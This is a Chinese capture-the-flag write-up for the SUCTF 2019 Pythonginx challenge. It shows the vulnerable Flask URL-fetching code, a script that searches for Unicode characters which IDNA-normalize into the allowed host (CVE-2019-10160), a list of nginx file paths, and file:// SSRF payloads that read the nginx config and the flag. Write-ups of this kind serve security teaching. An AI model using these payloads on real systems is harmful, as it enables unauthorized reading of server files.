[SUCTF 2019]Pythonginx
知识点
- ssrf
- nginx配置文件
- CVE-2019-10160:urlsplit NFKD 标准化漏洞
题目源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #解析出主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1] #再次解析主机名
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'): #对www.example.com按.划分,先按idna编码,再utf-8解码
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost) #组合好解码后的主机名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname #解析出主机名,要等于suctf.cc
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
我的理解就是先经过两次解析,主机名不能是suctf.cc,第三次解析时,先经过idna编码再转码后主机名得是suctf.cc
寻找可用字符脚本,来自SUCTF_2019_部分复现
# coding:utf-8 for i in range(128,65537): tmp=chr(i) try: res = tmp.encode('idna').decode('utf-8') if("-") in res: continue print("U:{} A:{} ascii:{} ".format(tmp, res, i)) except: pass

Nginx 重要文件目录
- 配置文件存放目录:/etc/nginx
- 主要配置文件:/etc/nginx/conf/nginx.conf
- 管理脚本:/usr/lib64/systemd/system/nginx.service
- 模块:/usr/lisb64/nginx/modules
- 应用程序:/usr/sbin/nginx
- 程序默认存放位置:/usr/share/nginx/html
- 日志默认存放位置:/var/log/nginx
- Nginx配置文件:/usr/local/nginx/conf/nginx.conf
构造
file://suctf.cℭ/usr/local/nginx/conf/nginx.conf

读取flag
file://suctf.cℭ/usr/fffffflag
很多东西就是这样,转过去再转回来,转来转去的就出问题了

浙公网安备 33010602011771号